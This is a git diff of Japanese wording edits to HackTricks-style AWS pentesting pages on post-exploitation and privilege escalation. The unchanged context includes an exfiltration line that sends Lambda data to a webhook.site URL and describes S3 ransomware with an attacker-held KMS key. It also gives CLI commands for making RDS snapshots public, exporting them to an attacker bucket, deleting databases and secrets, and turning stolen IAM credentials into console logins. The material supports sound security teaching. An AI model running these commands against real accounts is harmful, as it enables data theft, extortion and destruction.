--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md
@@ -10,7 +10,7 @@
../../aws-services/aws-lambda-enum.md
{{#endref}}
-### 他のLambdaのURLリクエストを盗む
+### 他のLambda URLリクエストを盗む
攻撃者が何らかの方法でLambda内でRCEを取得した場合、他のユーザーのHTTPリクエストをLambdaから盗むことができます。リクエストに機密情報(クッキー、認証情報など)が含まれている場合、それを盗むことができます。
@@ -18,7 +18,7 @@
aws-warm-lambda-persistence.md
{{#endref}}
-### 他のLambdaのURLリクエストと拡張リクエストを盗む
+### 他のLambda URLリクエストと拡張リクエストを盗む
Lambda Layersを悪用することで、拡張機能を悪用し、Lambdaに持続させるだけでなく、リクエストを盗んだり変更したりすることも可能です。
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md
index 88cab8ea9..16551b306 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md
@@ -20,10 +20,10 @@ bootstrapはユーザーコードをモジュールとして読み込むため
この攻撃の目的は、ユーザーコードが脆弱なリクエストを処理する**`bootstrap.py`**プロセス内で悪意のある**`bootstrap.py`**プロセスを実行させることです。このようにして、**悪意のあるbootstrap**プロセスは**initプロセスと通信を開始**し、リクエストを処理しますが、**正当な**bootstrapは**トラップ**されて悪意のあるものを実行しているため、initプロセスにリクエストを要求しません。
-これは、ユーザーのコードが正当な**`bootstrap.py`**プロセスによって実行されているため、達成するのは簡単な作業です。したがって、攻撃者は次のことができます:
+これは、ユーザーのコードが正当な**`bootstrap.py`**プロセスによって実行されているため、簡単に達成できるタスクです。したがって、攻撃者は次のことができます:
- **現在の呼び出しの偽の結果をinitプロセスに送信**し、initがbootstrapプロセスがさらに呼び出しを待っていると考えさせる。
-- **`/${invoke-id}/response`**にリクエストを送信する必要があります。
+- リクエストは**`/${invoke-id}/response`**に送信する必要があります。
- invoke-idは、正当な**`bootstrap.py`**プロセスのスタックから[**inspect**](https://docs.python.org/3/library/inspect.html) pythonモジュールを使用して取得することができます([ここで提案されたように](https://github.com/twistlock/lambda-persistency-poc/blob/master/poc/switch_runtime.py))または再度**`/2018-06-01/runtime/invocation/next`**にリクエストすることでも取得できます([ここで提案されたように](https://github.com/Djkusik/serverless_persistency_poc/blob/master/gcp/exploit_files/switcher.py))。
- 次の呼び出しを処理する悪意のある**`boostrap.py`**を実行する。
- ステルス性の目的で、lambda呼び出しパラメータを攻撃者が制御するC2に送信し、その後リクエストを通常通り処理することが可能です。
@@ -52,9 +52,9 @@ os.environ['URL_EXFIL'] = "https://webhook.site/c7036f43-ce42-442f-99a6-8ab21402
exec(new_runtime)
EOF
```
-For more info check [https://github.com/carlospolop/lambda_bootstrap_switcher](https://github.com/carlospolop/lambda_bootstrap_switcher)
+詳細については、[https://github.com/carlospolop/lambda_bootstrap_switcher](https://github.com/carlospolop/lambda_bootstrap_switcher)を確認してください。
-## References
+## 参考文献
- [https://unit42.paloaltonetworks.com/gaining-persistency-vulnerable-lambdas/](https://unit42.paloaltonetworks.com/gaining-persistency-vulnerable-lambdas/)
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation.md
index 41c5365af..f5d03ed58 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation.md
@@ -1,10 +1,10 @@
-# AWS - Lightsail Post Exploitation
+# AWS - Lightsail ポストエクスプロイテーション
{{#include ../../../banners/hacktricks-training.md}}
## Lightsail
-詳細については、次を確認してください:
+詳細については、次を確認してください:
{{#ref}}
../aws-services/aws-lightsail-enum.md
@@ -16,12 +16,12 @@ DBにスナップショットがある場合、**古いスナップショット
### インスタンススナップショットの復元
-インスタンススナップショットには、**既に削除されたインスタンスの機密情報や、現在のインスタンスで削除された機密情報が含まれている可能性があります**。**スナップショットから新しいインスタンスを作成**し、確認してください。\
+インスタンススナップショットには、**すでに削除されたインスタンスの機密情報**や、現在のインスタンスで削除された機密情報が含まれている可能性があります。**スナップショットから新しいインスタンスを作成**し、確認してください。\
または、**スナップショットをEC2のAMIにエクスポート**し、通常のEC2インスタンスの手順に従ってください。
### 機密情報へのアクセス
-Lightsailの特権昇格オプションを確認して、潜在的な機密情報にアクセスするさまざまな方法を学んでください:
+Lightsailの特権昇格オプションを確認して、潜在的な機密情報にアクセスするさまざまな方法を学んでください:
{{#ref}}
../aws-privilege-escalation/aws-lightsail-privesc.md
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation.md
index 694dd3a03..00e324856 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation.md
@@ -2,15 +2,15 @@
{{#include ../../../banners/hacktricks-training.md}}
-## 組織
+## Organizations
-AWS Organizationsに関する詳細情報は、以下を確認してください:
+AWS Organizationsに関する詳細は、以下を確認してください:
{{#ref}}
../aws-services/aws-organizations-enum.md
{{#endref}}
-### 組織を離れる
+### Orgを離れる
```bash
aws organizations deregister-account --account-id --region
```
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md
index 10b0955ee..24161d8bc 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md
@@ -42,7 +42,7 @@ aws rds modify-db-instance \
これらの権限を持つ攻撃者は、**DBのスナップショットを作成**し、それを**公開****可能**にすることができます。次に、彼はそのスナップショットから自分のアカウントにDBを作成することができます。
-攻撃者が**`rds:CreateDBSnapshot`**を持っていない場合でも、他の作成されたスナップショットを**公開**にすることができます。
+攻撃者が**`rds:CreateDBSnapshot`**を持っていない場合でも、**他の**作成されたスナップショットを**公開**にすることができます。
```bash
# create snapshot
aws rds create-db-snapshot --db-instance-identifier --db-snapshot-identifier
@@ -53,11 +53,11 @@ aws rds modify-db-snapshot-attribute --db-snapshot-identifier --
```
### `rds:DownloadDBLogFilePortion`
-`rds:DownloadDBLogFilePortion` 権限を持つ攻撃者は **RDS インスタンスのログファイルの一部をダウンロード** できます。機密データやアクセス資格情報が誤ってログに記録された場合、攻撃者はこの情報を利用して権限を昇格させたり、不正な操作を行ったりする可能性があります。
+`rds:DownloadDBLogFilePortion` 権限を持つ攻撃者は **RDS インスタンスのログファイルの一部をダウンロード** できます。機密データやアクセス資格情報が誤ってログに記録されている場合、攻撃者はこの情報を利用して権限を昇格させたり、無許可の行動を行ったりする可能性があります。
```bash
aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text
```
-**潜在的な影響**: 漏洩した資格情報を使用して、機密情報へのアクセスや不正な操作が行われる可能性があります。
+**潜在的な影響**: 漏洩した資格情報を使用して、機密情報へのアクセスや不正な操作が可能になります。
### `rds:DeleteDBInstance`
@@ -66,17 +66,17 @@ aws rds download-db-log-file-portion --db-instance-identifier target-instance --
# Delete
aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot
```
-**潜在的な影響**: 既存のRDSインスタンスの削除と、データの損失の可能性。
+**潜在的な影響**: 既存のRDSインスタンスの削除とデータの損失の可能性。
### `rds:StartExportTask`
> [!NOTE]
> TODO: テスト
-この権限を持つ攻撃者は、**RDSインスタンスのスナップショットをS3バケットにエクスポート**できます。攻撃者が宛先のS3バケットを制御している場合、エクスポートされたスナップショット内の機密データにアクセスできる可能性があります。
+この権限を持つ攻撃者は**RDSインスタンスのスナップショットをS3バケットにエクスポート**できます。攻撃者が宛先のS3バケットを制御している場合、エクスポートされたスナップショット内の機密データにアクセスできる可能性があります。
```bash
aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id
```
-**潜在的な影響**: エクスポートされたスナップショット内の機密データへのアクセス。
+**潜在的な影響**: エクスポートされたスナップショット内の機密データへのアクセス。
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md
index cf3b2afbc..a58fb09bd 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md
@@ -12,20 +12,20 @@
### 機密情報
-時には、バケット内で読み取り可能な機密情報を見つけることができます。例えば、terraformの状態秘密。
+時には、バケット内で読み取れる機密情報を見つけることができます。例えば、terraformの状態秘密。
### ピボッティング
異なるプラットフォームがS3を使用して機密資産を保存している可能性があります。\
-例えば、**airflow**が**DAGs**の**コード**をそこに保存しているか、**ウェブページ**がS3から直接提供されている可能性があります。書き込み権限を持つ攻撃者は、バケット内の**コードを変更**して他のプラットフォームに**ピボット**したり、JSファイルを変更して**アカウントを乗っ取る**ことができます。
+例えば、**airflow**が**DAGs**の**コード**をそこに保存しているか、**ウェブページ**がS3から直接提供されているかもしれません。書き込み権限を持つ攻撃者は、バケットの**コードを変更**して他のプラットフォームに**ピボット**したり、JSファイルを変更して**アカウントを乗っ取る**ことができます。
### S3 ランサムウェア
-このシナリオでは、**攻撃者が自分のAWSアカウント**または別の侵害されたアカウントにKMS(キー管理サービス)キーを作成します。次に、この**キーを世界中の誰でもアクセスできるようにします**。これにより、任意のAWSユーザー、ロール、またはアカウントがこのキーを使用してオブジェクトを暗号化できます。しかし、オブジェクトは復号化できません。
+このシナリオでは、**攻撃者が自分のAWSアカウント**または別の侵害されたアカウントにKMS(キー管理サービス)キーを作成します。次に、この**キーを世界中の誰でもアクセスできるようにします**。これにより、任意のAWSユーザー、ロール、またはアカウントがこのキーを使用してオブジェクトを暗号化できるようになります。ただし、オブジェクトは復号化できません。
-攻撃者はターゲットの**S3バケットを特定し、さまざまな方法で書き込みレベルのアクセスを取得**します。これは、公開されている不適切なバケット設定や、攻撃者がAWS環境自体にアクセスを得たことが原因である可能性があります。攻撃者は通常、個人を特定できる情報(PII)、保護された健康情報(PHI)、ログ、バックアップなどの機密情報を含むバケットをターゲットにします。
+攻撃者はターゲットの**S3バケットを特定し、さまざまな方法で書き込みレベルのアクセスを取得**します。これは、公開されている不適切なバケット構成や、攻撃者がAWS環境自体にアクセスを得ることによるものです。攻撃者は通常、個人を特定できる情報(PII)、保護された健康情報(PHI)、ログ、バックアップなどの機密情報を含むバケットをターゲットにします。
-バケットがランサムウェアのターゲットになり得るかどうかを判断するために、攻撃者はその設定を確認します。これには、**S3オブジェクトバージョニング**が有効になっているか、**多要素認証削除(MFA削除)が有効になっているか**を確認することが含まれます。オブジェクトバージョニングが有効でない場合、攻撃者は進行できます。オブジェクトバージョニングが有効だがMFA削除が無効な場合、攻撃者は**オブジェクトバージョニングを無効にする**ことができます。オブジェクトバージョニングとMFA削除の両方が有効な場合、攻撃者がその特定のバケットをランサムウェア化するのはより困難になります。
+バケットがランサムウェアのターゲットになり得るかどうかを判断するために、攻撃者はその構成を確認します。これには、**S3オブジェクトバージョニング**が有効になっているか、**多要素認証削除(MFA削除)が有効になっているか**を確認することが含まれます。オブジェクトバージョニングが有効でない場合、攻撃者は進むことができます。オブジェクトバージョニングが有効だがMFA削除が無効な場合、攻撃者は**オブジェクトバージョニングを無効にする**ことができます。オブジェクトバージョニングとMFA削除の両方が有効な場合、攻撃者がその特定のバケットをランサムウェアにするのはより困難になります。
AWS APIを使用して、攻撃者は**バケット内の各オブジェクトを自分のKMSキーを使用して暗号化されたコピーに置き換えます**。これにより、バケット内のデータが暗号化され、キーなしではアクセスできなくなります。
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md
index 726d65810..9d9ec1856 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md
@@ -4,7 +4,7 @@
## Secrets Manager
-詳細については、次を確認してください:
+詳細については、以下を確認してください:
{{#ref}}
../aws-services/aws-secrets-manager-enum.md
@@ -12,11 +12,11 @@
### Read Secrets
-**シークレット自体は機密情報です**、[特権昇格ページを確認してください](../aws-privilege-escalation/aws-secrets-manager-privesc.md) それらを読む方法を学ぶために。
+**シークレット自体は機密情報です**、[権限昇格ページを確認してください](../aws-privilege-escalation/aws-secrets-manager-privesc.md) それらを読む方法を学ぶために。
### DoS Change Secret Value
-シークレットの値を変更すると、その値に依存する**すべてのシステムにDoSを引き起こす可能性があります。**
+シークレットの値を変更することで、その値に依存する**すべてのシステムにDoSを引き起こす可能性があります。**
> [!WARNING]
> 前の値も保存されているため、簡単に前の値に戻ることができます。
@@ -32,7 +32,7 @@ aws secretsmanager update-secret \
--secret-id MyTestSecret \
--kms-key-id arn:aws:kms:us-west-2:123456789012:key/EXAMPLE1-90ab-cdef-fedc-ba987EXAMPLE
```
-### DoS シークレットの削除
+### DoSによるシークレットの削除
シークレットを削除するための最小日数は7日です。
```bash
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md
index f04a7b983..884e1d3a8 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md
@@ -4,7 +4,7 @@
## SES
-詳細については、以下を確認してください:
+詳細については、次を確認してください:
{{#ref}}
../aws-services/aws-ses-enum.md
@@ -33,7 +33,7 @@ aws ses send-raw-email --raw-message file://message.json
```bash
aws ses send-templated-email --source --destination --template
```
-まだテスト中です。
+まだテストする必要があります。
### `ses:SendBulkTemplatedEmail`
@@ -55,7 +55,7 @@ aws sesv2 send-bulk-email --default-content --bulk-email-entries
```bash
aws ses send-bounce --original-message-id --bounce-sender --bounced-recipient-info-list
```
-まだテスト中です。
+まだテストする必要があります。
### `ses:SendCustomVerificationEmail`
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md
index 8ac87ab71..e0911b697 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md
@@ -32,7 +32,7 @@ aws sns publish --topic-arn --message
### `sns:SetTopicAttributes`
-攻撃者はSNSトピックの属性を変更することができ、これによりそのパフォーマンス、セキュリティ、または可用性に影響を与える可能性があります。
+攻撃者はSNSトピックの属性を変更することができ、そのパフォーマンス、セキュリティ、または可用性に影響を与える可能性があります。
```bash
aws sns set-topic-attributes --topic-arn --attribute-name --attribute-value
```
@@ -45,7 +45,7 @@ aws sns set-topic-attributes --topic-arn --attribute-name --attr
aws sns subscribe --topic-arn --protocol --endpoint
aws sns unsubscribe --subscription-arn
```
-**潜在的な影響**: メッセージへの不正アクセス、影響を受けたトピックに依存するアプリケーションのサービス中断。
+**潜在的影響**: メッセージへの不正アクセス、影響を受けたトピックに依存するアプリケーションのサービス中断。
### `sns:AddPermission` , `sns:RemovePermission`
@@ -58,7 +58,7 @@ aws sns remove-permission --topic-arn --label
### `sns:TagResource` , `sns:UntagResource`
-攻撃者はSNSリソースからタグを追加、変更、または削除することができ、タグに基づく組織のコスト配分、リソース追跡、およびアクセス制御ポリシーを混乱させる可能性があります。
+攻撃者はSNSリソースからタグを追加、変更、または削除することができ、これにより組織のコスト配分、リソース追跡、およびタグに基づくアクセス制御ポリシーが混乱する可能性があります。
```bash
aws sns tag-resource --resource-arn --tags Key=,Value=
aws sns untag-resource --resource-arn --tag-keys
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md
index 1c0b6df10..d49199b6d 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md
@@ -12,12 +12,12 @@
### `sqs:SendMessage` , `sqs:SendMessageBatch`
-攻撃者は、SQS キューに悪意のあるまたは不要なメッセージを送信し、データの破損を引き起こしたり、意図しないアクションをトリガーしたり、リソースを枯渇させる可能性があります。
+攻撃者は、SQS キューに悪意のあるまたは不要なメッセージを送信することで、データの破損を引き起こしたり、意図しないアクションをトリガーしたり、リソースを枯渇させる可能性があります。
```bash
aws sqs send-message --queue-url --message-body
aws sqs send-message-batch --queue-url --entries
```
-**潜在的な影響**: 脆弱性の悪用、データの破損、意図しないアクション、またはリソースの枯渇。
+**潜在的影響**: 脆弱性の悪用、データの破損、意図しないアクション、またはリソースの枯渇。
### `sqs:ReceiveMessage`, `sqs:DeleteMessage`, `sqs:ChangeMessageVisibility`
@@ -27,7 +27,7 @@ aws sqs receive-message --queue-url
aws sqs delete-message --queue-url --receipt-handle
aws sqs change-message-visibility --queue-url --receipt-handle --visibility-timeout
```
-**潜在的な影響**: 機密情報の盗難、メッセージの損失、データの破損、影響を受けたメッセージに依存するアプリケーションのサービス中断。
+**潜在的な影響**: 機密情報の盗難、メッセージの損失、データの破損、および影響を受けたメッセージに依存するアプリケーションのサービス中断。
### `sqs:DeleteQueue`
@@ -64,7 +64,7 @@ aws sqs untag-queue --queue-url --tag-keys
### `sqs:RemovePermission`
-攻撃者は、SQSキューに関連付けられたポリシーを削除することによって、正当なユーザーやサービスの権限を取り消すことができます。これにより、キューに依存するアプリケーションの正常な機能に混乱を引き起こす可能性があります。
+攻撃者は、SQSキューに関連付けられたポリシーを削除することで、正当なユーザーやサービスの権限を取り消すことができます。これにより、キューに依存するアプリケーションの正常な機能が妨げられる可能性があります。
```arduino
arduinoCopy codeaws sqs remove-permission --queue-url --label
```
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation.md
index cf34dcf74..b15d0916c 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation.md
@@ -1,10 +1,10 @@
-# AWS - SSO & identitystore Post Exploitation
+# AWS - SSO & identitystore ポストエクスプロイテーション
{{#include ../../../banners/hacktricks-training.md}}
## SSO & identitystore
-詳細については、次を確認してください:
+詳細については、以下を確認してください:
{{#ref}}
../aws-services/aws-iam-enum.md
@@ -12,7 +12,7 @@
### `sso:DeletePermissionSet` | `sso:PutPermissionsBoundaryToPermissionSet` | `sso:DeleteAccountAssignment`
-これらの権限は、権限を妨害するために使用できます:
+これらの権限は、権限を妨害するために使用できます:
```bash
aws sso-admin delete-permission-set --instance-arn --permission-set-arn
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md
index 5eead4a65..e890e2888 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md
@@ -33,11 +33,11 @@ aws stepfunctions delete-state-machine-version --state-machine-version-arn
```
-- **潜在的な影響**: 重要なワークフローの中断、データ損失、および運用のダウンタイム。
+- **潜在的影響**: 重要なワークフローの中断、データ損失、および運用のダウンタイム。
### `states:UpdateMapRun`
-この権限を持つ攻撃者は、Map Runの失敗設定と並列設定を操作でき、許可される子ワークフロー実行の最大数を増減させることができ、サービスのパフォーマンスに直接影響を与えます。さらに、攻撃者は許容される失敗率とカウントを改ざんでき、この値を0に減少させることができるため、アイテムが失敗するたびに全体のマップランが失敗し、状態マシンの実行に直接影響を与え、重要なワークフローを中断させる可能性があります。
+この権限を持つ攻撃者は、Map Runの失敗設定と並行設定を操作でき、許可される子ワークフロー実行の最大数を増減させることができ、サービスのパフォーマンスに直接影響を与えます。さらに、攻撃者は許容される失敗率とカウントを改ざんでき、この値を0に減少させることができるため、アイテムが失敗するたびに全体のマップランが失敗し、状態マシンの実行に直接影響を与え、重要なワークフローを中断させる可能性があります。
```bash
aws stepfunctions update-map-run --map-run-arn [--max-concurrency ] [--tolerated-failure-percentage ] [--tolerated-failure-count ]
```
@@ -45,18 +45,18 @@ aws stepfunctions update-map-run --map-run-arn [--max-concurrency [!WARNING]
> このアクションは**エクスプレスステートマシン**ではサポートされていません。
```bash
aws stepfunctions stop-execution --execution-arn [--error ] [--cause ]
```
-- **潜在的な影響**: 継続中のワークフローの中断、運用のダウンタイム、及び潜在的なデータの破損。
+- **潜在的な影響**: 進行中のワークフローの中断、運用のダウンタイム、及び潜在的なデータの破損。
### `states:TagResource`, `states:UntagResource`
-攻撃者は、Step Functionsリソースからタグを追加、変更、または削除することができ、タグに基づく組織のコスト配分、リソース追跡、及びアクセス制御ポリシーを混乱させる可能性があります。
+攻撃者は、Step Functionsリソースからタグを追加、変更、または削除することができ、組織のコスト配分、リソース追跡、及びタグに基づくアクセス制御ポリシーを混乱させる可能性があります。
```bash
aws stepfunctions tag-resource --resource-arn --tags Key=,Value=
aws stepfunctions untag-resource --resource-arn --tag-keys
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md
index 9185fb27f..cd23a6a3f 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md
@@ -4,20 +4,20 @@
## STS
-詳細情報については:
+詳細情報:
{{#ref}}
../aws-services/aws-iam-enum.md
{{#endref}}
-### IAMクレデンシャルからコンソールへ
+### IAM クレデンシャルからコンソールへ
-IAMクレデンシャルを取得できた場合、次のツールを使用して**ウェブコンソールにアクセスすること**に興味があるかもしれません。\
+IAM クレデンシャルを取得できた場合、次のツールを使用して**ウェブコンソールにアクセスすること**に興味があるかもしれません。\
ユーザー/ロールは**`sts:GetFederationToken`**の権限を持っている必要があります。
#### カスタムスクリプト
-次のスクリプトは、デフォルトプロファイルとデフォルトのAWSロケーション(政府および中国以外)を使用して、ウェブコンソールにログインするために使用できる署名付きURLを提供します:
+次のスクリプトは、デフォルトプロファイルとデフォルトの AWS ロケーション(政府および中国以外)を使用して、ウェブコンソールにログインするために使用できる署名付き URL を提供します:
```bash
# Get federated creds (you must indicate a policy or they won't have any perms)
## Even if you don't have Admin access you can indicate that policy to make sure you get all your privileges
@@ -50,13 +50,12 @@ resp=$(curl -s "$federation_endpoint" \
signin_token=$(echo -n $resp | jq -r '.SigninToken' | tr -d '\n' | jq -sRr @uri)
-
# Give the URL to login
echo -n "https://signin.aws.amazon.com/federation?Action=login&Issuer=example.com&Destination=https%3A%2F%2Fconsole.aws.amazon.com%2F&SigninToken=$signin_token"
```
#### aws_consoler
-[https://github.com/NetSPI/aws_consoler](https://github.com/NetSPI/aws_consoler)を使用して**ウェブコンソールリンクを生成**できます。
+**ウェブコンソールリンクを生成**できます [https://github.com/NetSPI/aws_consoler](https://github.com/NetSPI/aws_consoler).
```bash
cd /tmp
python3 -m venv env
@@ -65,11 +64,11 @@ pip install aws-consoler
aws_consoler [params...] #This will generate a link to login into the console
```
> [!WARNING]
-> IAMユーザーが`sts:GetFederationToken`権限を持っていることを確認するか、引き受けるロールを提供してください。
+> IAMユーザーが `sts:GetFederationToken` 権限を持っていることを確認するか、引き受けるロールを提供してください。
#### aws-vault
-[**aws-vault**](https://github.com/99designs/aws-vault)は、開発環境でAWSの認証情報を安全に保存し、アクセスするためのツールです。
+[**aws-vault**](https://github.com/99designs/aws-vault) は、開発環境でAWSの資格情報を安全に保存し、アクセスするためのツールです。
```bash
aws-vault list
aws-vault exec jonsmith -- aws s3 ls # Execute aws cli with jonsmith creds
@@ -80,7 +79,7 @@ aws-vault login jonsmith # Open a browser logged as jonsmith
### **PythonからのUser-Agent制限のバイパス**
-**ユーザーエージェントに基づいて特定のアクションを実行する制限**がある場合(ユーザーエージェントに基づいてpython boto3ライブラリの使用を制限するなど)、前述の技術を使用して**ブラウザ経由でウェブコンソールに接続する**ことが可能です。または、次のようにして**boto3のユーザーエージェントを直接変更する**こともできます:
+**ユーザーエージェント**に基づいて特定のアクションを実行する制限がある場合(ユーザーエージェントに基づいてpython boto3ライブラリの使用を制限するなど)、前述の技術を使用して**ブラウザ経由でウェブコンソールに接続**することが可能です。または、次のようにして**boto3のユーザーエージェントを直接変更**することもできます。
```bash
# Shared by ex16x41
# Create a client
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation.md
index cb47ee619..4eb4ebe13 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation.md
@@ -4,7 +4,7 @@
## VPN
-詳細情報については:
+詳細情報:
{{#ref}}
../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/README.md
index 5e030755b..8007b21fd 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/README.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/README.md
@@ -10,8 +10,8 @@ AWSで権限を昇格させる方法は、他のロール/ユーザー/グルー
> AWSには、エンティティに付与できる**数百**(場合によっては数千)の**権限**があります。この本では、**権限を昇格させるために悪用できるすべての権限**を見つけることができますが、ここに記載されていない**パスを知っている**場合は、**共有してください**。
> [!CAUTION]
-> IAMポリシーに`"Effect": "Allow"`と`"NotAction": "Someaction"`があり、**リソース**を示している場合...それは**許可された主体**が**指定されたアクション以外のすべてを行う権限を持っている**ことを意味します。\
-> したがって、これは主体に**特権のある権限を付与する**別の方法であることを覚えておいてください。
+> IAMポリシーに`"Effect": "Allow"`と`"NotAction": "Someaction"`があり、**リソース**を示している場合... それは**許可された主体**が**指定されたアクション以外のすべてを行う権限を持っている**ことを意味します。\
+> したがって、これは主体に**特権的な権限を付与する**別の方法であることを覚えておいてください。
**このセクションのページはAWSサービスによって整理されています。そこでは、権限を昇格させることができる権限を見つけることができます。**
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md
index 291845a32..92abd0f71 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md
@@ -4,7 +4,7 @@
## Apigateway
-詳細については、次を確認してください:
+詳細については、以下を確認してください:
{{#ref}}
../aws-services/aws-api-gateway-enum.md
@@ -16,20 +16,20 @@
```bash
aws --region apigateway create-api-key
```
-**潜在的影響:** この技術では権限昇格はできませんが、機密情報にアクセスできる可能性があります。
+**潜在的な影響:** この技術では特権昇格はできませんが、機密情報にアクセスできる可能性があります。
### `apigateway:GET`
-この権限を使用すると、設定されたAPIの生成されたAPIキーを取得できます(地域ごと)。
+この権限を使用すると、設定されたAPIの生成されたAPIキーを取得できます(リージョンごと)。
```bash
aws --region apigateway get-api-keys
aws --region apigateway get-api-key --api-key --include-value
```
-**潜在的な影響:** この技術では権限昇格はできませんが、機密情報にアクセスできる可能性があります。
+**潜在的な影響:** この技術では特権昇格はできませんが、機密情報にアクセスできる可能性があります。
### `apigateway:UpdateRestApiPolicy`, `apigateway:PATCH`
-これらの権限を持つことで、APIのリソースポリシーを変更し、自分自身が呼び出すためのアクセスを得て、APIゲートウェイが持つ可能性のあるアクセスを悪用することができます(脆弱なラムダを呼び出すなど)。
+これらの権限を持つことで、APIのリソースポリシーを変更し、自分自身が呼び出すためのアクセスを得て、APIゲートウェイが持つ可能性のあるアクセスを悪用することができます(脆弱なlambdaを呼び出すなど)。
```bash
aws apigateway update-rest-api \
--rest-api-id api-id \
@@ -42,7 +42,7 @@ aws apigateway update-rest-api \
> [!NOTE]
> テストが必要です
